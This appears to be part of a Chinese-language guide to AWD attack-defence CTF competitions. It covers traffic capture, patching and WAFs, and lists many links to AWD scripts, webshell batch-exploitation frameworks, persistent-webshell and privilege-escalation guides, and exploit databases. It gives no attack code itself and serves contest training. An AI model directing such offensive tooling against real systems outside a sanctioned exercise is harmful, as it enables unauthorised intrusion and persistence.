介绍一款日志记录脚本
https://github.com/zhuxianjin/AWD_Hunter 
流量分析 流量分析有机会捕获他人的exp
tcpdump+wireshark sudo tcpdump -s 0 -w flow.pcap port 80
 
放到wireshark分析流量
一个分析流量包的工具 https://github.com/MaskRay/pcap-search 
修补漏洞 简单来说就是学学怎么防御的,怎么去把漏洞不好,如果实在不太会,赛前就把别人写的通用waf看一遍,写一遍,差不多就懂大概了,最好还是能够自己修出来,waf可能会check不了。
AWD plus AWD plus是AWD的升级版,给我的感觉就是不注重攻防对抗了,而是开始注重于解题。每一轮的攻击由赛事方来提供,选手只需要会修补漏洞并上传修补文件和命令和会解题就行了。
总结 简单来说AWD线下是没有外网的,所以需要的丰富的知识储备,如果没有丰富的知识储备那就多写笔记,比如sql注入的常用姿势?杀死进程的命令?nodejs写的网站怎么运维?文件上传的一些木马有没有准备?还有就是上面所说的脚本本地复现没有?会不会去了赛场跑不起来?
总结:多做笔记,多实战!讲了很多相关东西,但适合自己的才是最好的,本地能打能用的才是有用的。
一些可以学习参考的链接 bugku AWD在线打
https://ctf.bugku.com/awd.html 
下面这些也要去看,主要是 能够在自己的环境里面复现出来,不要比赛了才去写脚本
http://blog.polowong.top/2021/02/25/%E8%AE%B0%E4%B8%80%E6%AC%A1%E7%BA%BF%E4%B8%8AAWD/ 
https://www.anquanke.com/post/id/245158#h3-25 
https://gist.github.com/wupco/ee26f88656fbf36d014f49b4ac47ddc8 
https://www.anquanke.com/post/id/98574#h2-4 
https://kknews.cc/zh-my/news/gj4p2m8.html 
https://err0r.top/article/2021ciscnawd/ 
https://maskray.me/blog/2015-08-12-defcon-23-ctf 
https://www.xctf.org.cn/library/details/30e51c01fc5274fd74fe59fd5d71f67b0187fc3a/ 
https://edwardchoijc.github.io/CTF%E7%BA%BF%E4%B8%8BAWD%E7%BB%8F%E9%AA%8C%E6%80%BB%E7%BB%93.html 
http://brieflyx.me/2021/dc29-memo/ 
Github资源:
https://github.com/DasSecurity-HatLab/AoiAWD 
https://blog.codesec.work/c5c098b97076/ 
https://github.com/mo-xiaoxi/AWD_CTF_Platform 
- (⭐235) AWD攻防赛脚本集合: https://github.com/admintony/Prepare-for-AWD 
- (⭐124) Attack-Defense-Framework: https://github.com/SniperOJ/Attack-Defense-Framework/tree/v2 
- (⭐99) AWD攻防赛webshell批量利用框架: https://github.com/Ares-X/AWD-Predator-Framework 
- (⭐28) awd-frame: https://github.com/xnianq/awd-frame 
- (⭐4) WEB-AWD-Framework:https://github.com/dahua966/WEB-AWD-Framework 
- (⭐0) AWD-helper: https://github.com/sarleon/AWD-helper 
https://github.com/Ares-X/AWD-Predator-Framework           AWD攻防赛webshell批量利用框架https://github.com/admintony/Prepare-for-AWD       AWD线下赛脚本集合https://github.com/ssooking/CTFDefense         CTFDefensehttps://github.com/wupco/weblogger             针对ctf线下赛流量抓取(php)、真实环境流量抓取分析的工具http://hackblog.cn/post/75.html              wafhttps://jingyan.baidu.com/article/d45ad148a8338769552b803a.html    安全狗安装教程http://www.safedog.cn/website_safedog.html              安全狗linux版:
 
AWD经验:
https://www.cnblogs.com/Vinson404/p/13779839.html 
https://blog.csdn.net/qq_42114918/article/details/82785960 
https://trello.com/b/avr2o8x8/%E7%BA%BF%E4%B8%8Bawd 
https://www.freebuf.com/articles/network/201222.html 
- CTF线下赛AWD模式下的生存技巧: https://www.anquanke.com/post/id/84675 
- CTF线下赛AWD套路小结: https://xz.aliyun.com/t/25 
- AWD混战攻略: https://www.jianshu.com/p/d21b7e1bffaf 
- CTF线下AWD攻防模式的准备工作及起手式: https://blog.csdn.net/like98k/article/details/80261603 
- 2017强网杯线下AWD攻防总结(适合新手): https://www.t00ls.net/articles-42278.html 
- AWD攻防线下生存之道: http://47.95.201.153/blog/AWD攻防线下生存之道.html 
- CTF AWD模式攻防Note: https://www.cnblogs.com/nul1/p/9576386.html 
https://blog.csdn.net/wy_97/article/details/78148705 http://www.sohu.com/a/211760248_99907709 https://www.anquanke.com/post/id/86984 https://www.anquanke.com/post/id/98574 https://www.anquanke.com/post/id/98653 https://www.anquanke.com/post/id/100991 https://www.anquanke.com/post/id/84675 http://tinyfisher.github.io/security/2017/10/02/CTF 
http://www.freebuf.com/articles/web/118149.html 
https://blog.csdn.net/like98k/article/details/80261603 
 
权限维持:
- 不死马的删除: https://yq.aliyun.com/zt/325638 
- awd攻防之kill不死马: https://www.jianshu.com/p/ba79686987da 
- python中的后渗透|也可用于AWD攻防–shell管理: https://www.jianshu.com/p/2e8e7330b73e 
- 从0到1掌握AWD攻防之RSA必杀: https://www.360zhijia.com/anquan/456324.html 
- 资深大牛教你如何web端权限维持(内附具体步骤): http://www.sohu.com/a/127074604_472906 
https://www.exploit-db.com/exploits/15620/            漏洞http://exploit.linuxnote.org/                 内核漏洞https://www.cnblogs.com/linuxsec/articles/6110887.html       提权https://www.cnblogs.com/yuhuLin/p/7027342.html          普通用户提权http://www.freebuf.com/sectool/121847.html          Linux提权?这四个脚本可以帮助你
https://blog.csdn.net/qq_36328915/article/details/79305166      kali中msf常用命令http://www.freebuf.com/articles/5472.html                    w3af简单使用教程https://www.cnblogs.com/zylq-blog/p/6694566.html          安装
http://blog.51cto.com/simeon/1981572             MySQL数据库***及漏洞利用总结http://blog.51cto.com/diudiu/1678358            SQLmap配合一句话木马https://note.youdao.com/share/?id=62ecd676d896139c823591e8a8bcc708&type=note#/